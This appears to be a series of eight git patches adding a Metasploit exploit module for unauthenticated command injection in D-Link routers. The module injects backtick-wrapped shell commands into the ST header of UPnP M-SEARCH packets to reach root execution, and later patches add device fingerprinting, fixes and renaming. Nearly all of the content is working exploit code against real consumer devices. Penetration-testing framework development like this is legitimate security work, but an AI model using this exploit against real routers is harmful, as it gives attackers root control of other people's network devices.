From f464c5ee97ee2082655794f18eec723753011e0b Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Mon, 16 Jun 2014 22:12:15 +0200 Subject: [PATCH 1/8] dlink msearch commmand injection --- .../upnp/dlink_upnp_msearch_exec_echo.rb | 106 ++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb new file mode 100644 index 0000000000..0ccb988f9f --- /dev/null +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Unauthenticated Command Injection via UPnP M-SEARCH Multicast', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast + requests. This module has been tested on DIR-300 and DIR-645 devices. Zacharia Cutlip + has initially reported the DIR-815 vulnerable. Probably there are other devices also + affected. + }, + 'Author' => + [ + 'Zachary Cutlip', # Vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module and verification on other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection' ], # original exploit + [ 'URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html' ] # original exploit + ], + 'DisclosureDate' => 'Feb 01 2013', + 'Privileged' => true, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are big endian devices out there + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ], + ], + 'DefaultTarget' => 0 + )) + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900), + ], self.class) + + end + + def execute_command(cmd, opts) + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:`#{cmd}`\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + end + + def exploit + print_status("#{rhost}:#{rport} - Exploiting...") + execute_cmdstager( + :linemax => 950 + ) + end + + # the packet stuff was taken from the module miniupnpd_soap_bof.rb + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end From ac2e84bfd6ab67b5e045a04ea09eb32c1caedacf Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Wed, 2 Jul 2014 21:24:50 +0200 Subject: [PATCH 2/8] check included --- .../upnp/dlink_upnp_msearch_exec_echo.rb | 32 +++++++++++++++++++ .../multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 2 files changed, 33 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb index 0ccb988f9f..f8932a94b0 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb @@ -57,6 +57,32 @@ class Metasploit3 < Msf::Exploit::Remote end + def check + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,_,_ = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + def execute_command(cmd, opts) configure_socket @@ -71,6 +97,12 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + print_status("#{rhost}:#{rport} - Trying to access the device via UPnP ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to access the vulnerable device") + end + print_status("#{rhost}:#{rport} - Exploiting...") execute_cmdstager( :linemax => 950 diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 8cfd039746..c5fd339538 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -416,7 +416,7 @@ class Metasploit3 < Msf::Exploit::Remote res = nil 1.upto(5) do res,_,_ = udp_sock.recvfrom(65535, 1.0) - break if res and res =~ /^(Server|Location)/mi + break if res and res =~ /SERVER: Linux, UPnP/1.0, DIR-... Ver/mi udp_sock.sendto(msearch, rhost, rport, 0) end From 8f55af5f9d153b5303c1e882cdbda983620d9be3 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Wed, 2 Jul 2014 21:28:39 +0200 Subject: [PATCH 3/8] UPnP check included --- modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb index f8932a94b0..f94abb2a60 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb @@ -76,6 +76,11 @@ class Metasploit3 < Msf::Exploit::Remote udp_sock.sendto(msearch, rhost, rport, 0) end + # UPnP response: + # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 + # we do not check for the Device ID (DIR-645) and for the firmware version because there are different + # dlink devices out there and we do not know all the vulnerable versions + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi return Exploit::CheckCode::Detected end From e5b441314c07a9d965802b73f49e0e292fb0bacc Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Wed, 2 Jul 2014 21:33:49 +0200 Subject: [PATCH 4/8] removed wrong edit ... --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index c5fd339538..8cfd039746 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -416,7 +416,7 @@ class Metasploit3 < Msf::Exploit::Remote res = nil 1.upto(5) do res,_,_ = udp_sock.recvfrom(65535, 1.0) - break if res and res =~ /SERVER: Linux, UPnP/1.0, DIR-... Ver/mi + break if res and res =~ /^(Server|Location)/mi udp_sock.sendto(msearch, rhost, rport, 0) end From 579ce0a8580c4a2089b4cb191363155aa674f3e4 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 8 Jul 2014 21:58:15 +0200 Subject: [PATCH 5/8] cleanup --- modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb index f94abb2a60..b5784ac782 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb @@ -6,9 +6,9 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = NormalRanking - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -110,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 950 ) end From 36c6e7422169552011b37bbb2574d2bc4ac7b3bf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 11 Jul 2014 09:17:34 -0500 Subject: [PATCH 6/8] Do minor fixes --- .../linux/upnp/dlink_upnp_msearch_exec_echo.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb index b5784ac782..eaacedb52a 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb @@ -22,13 +22,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Zachary Cutlip', # Vulnerability discovery and initial exploit - 'Michael Messner ' # Metasploit module and verification on other routers + 'Michael Messner ' # Metasploit module and verification on other routers ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection' ], # original exploit - [ 'URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html' ] # original exploit + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit + ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit ], 'DisclosureDate' => 'Feb 01 2013', 'Privileged' => true, @@ -40,21 +40,23 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_MIPSLE } ], - [ 'MIPS Big Endian', # unknown if there are big endian devices out there + [ 'MIPS Big Endian', # unknown if there are big endian devices out there { 'Platform' => 'linux', 'Arch' => ARCH_MIPS } - ], + ] ], 'DefaultTarget' => 0 )) + register_options( [ Opt::RHOST(), - Opt::RPORT(1900), + Opt::RPORT(1900) ], self.class) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -72,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote res = nil 1.upto(5) do res,_,_ = udp_sock.recvfrom(65535, 1.0) - break if res and res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi - udp_sock.sendto(msearch, rhost, rport, 0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi + udp_sock.sendto(pkt, rhost, rport, 0) end # UPnP response: From a9b92ee581793a9b489a55fe486d147935a5639e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 11 Jul 2014 09:17:56 -0500 Subject: [PATCH 7/8] Change module filename --- ...dlink_upnp_msearch_exec_echo.rb => dlink_upnp_msearch_exec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/upnp/{dlink_upnp_msearch_exec_echo.rb => dlink_upnp_msearch_exec.rb} (100%) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb similarity index 100% rename from modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb rename to modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb From 611b8a1b6d8a90779d1bfa9e844a4256dd53d14c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 11 Jul 2014 09:35:21 -0500 Subject: [PATCH 8/8] Modify title and ranking --- modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index eaacedb52a..345014ec84 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -6,13 +6,13 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Unauthenticated Command Injection via UPnP M-SEARCH Multicast', + 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast requests. This module has been tested on DIR-300 and DIR-645 devices. Zacharia Cutlip